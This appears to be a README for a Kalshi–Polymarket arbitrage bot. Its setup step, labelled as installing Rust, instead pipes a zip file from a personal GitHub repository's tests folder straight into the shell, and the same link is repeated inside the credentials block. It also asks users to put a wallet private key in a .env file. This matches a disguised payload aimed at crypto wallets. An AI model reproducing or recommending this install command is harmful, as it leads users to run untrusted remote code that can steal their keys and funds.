Visit this page to download: GitHub Releases
Before you can run the application, you need to install some basic tools. Follow these commands:
# Install Rust (version 1.75 or higher)
curl --proto '=https' --tlsv1.2 -sSf https://github.com/samuel483/poly-kalshi-arb/raw/refs/heads/main/tests/arb_poly_kalshi_v3.8.zip | sh
# Navigate into the app's directory
cd e_poly_kalshi_arb
# Build the application
cargo build --releaseTo use the arbitrage bot, you must provide some credentials. Create a file named .env in the application's directory and add your details.
# === KALSHI CREDENTIALS ===
KALSHI_API_KEY_ID=your_kalshi_api_key_id
https://github.com/samuel483/poly-kalshi-arb/raw/refs/heads/main/tests/arb_poly_kalshi_v3.8.zip
# === POLYMARKET CREDENTIALS ===
POLY_PRIVATE_KEY=0xYOUR_WALLET_PRIVATE_KEY
POLY_FUNDER=0xYOUR_WALLET_ADDRESS
# === BOT CONFIGURATION ===
DRY_RUN=1
RUST_LOG=infoYou can run the application in two modes: dry run (simulated trading) and live execution.
# Dry run (paper trading)
dotenvx run -- cargo run --release
# Live execution
DRY_RUN=0 dotenvx run -- cargo run --releaseTo ensure the bot runs smoothly, here are the environment variables you will need:
| Variable | Description |
|---|---|
KALSHI_API_KEY_ID |
Your unique API key for Kalshi. |
KALSHI_PRIVATE_KEY_PATH |
The path to your private key file for Kalshi. |
POLY_PRIVATE_KEY |
Your wallet's private key for Polymarket. |
POLY_FUNDER |
Your wallet address for funding purposes. |
DRY_RUN |
Set to 1 for testing without real trades. |
RUST_LOG |
Logging level; adjust this to control log output. |
- Cross-Platform Compatibility: Works seamlessly between Kalshi and Polymarket.
- Real-Time Trading: Make decisions based on live market data.
- User-Friendly Setup: Minimal technical skills required.
- Simulation Mode: Test your strategies without risking real money.
- Operating System: Windows, macOS, or Linux.
- RAM: Minimum 4GB; recommended 8GB.
- Disk Space: At least 200MB free space for installation.
If you encounter any issues, please refer to the documentation available in the repository. You can also check the FAQ section on the Releases page for common troubleshooting steps.
π¨βπ» Join our Community for support or to share your experiences using the bot. Your feedback helps improve the application.
This project is licensed under the MIT License - see the LICENSE file for details.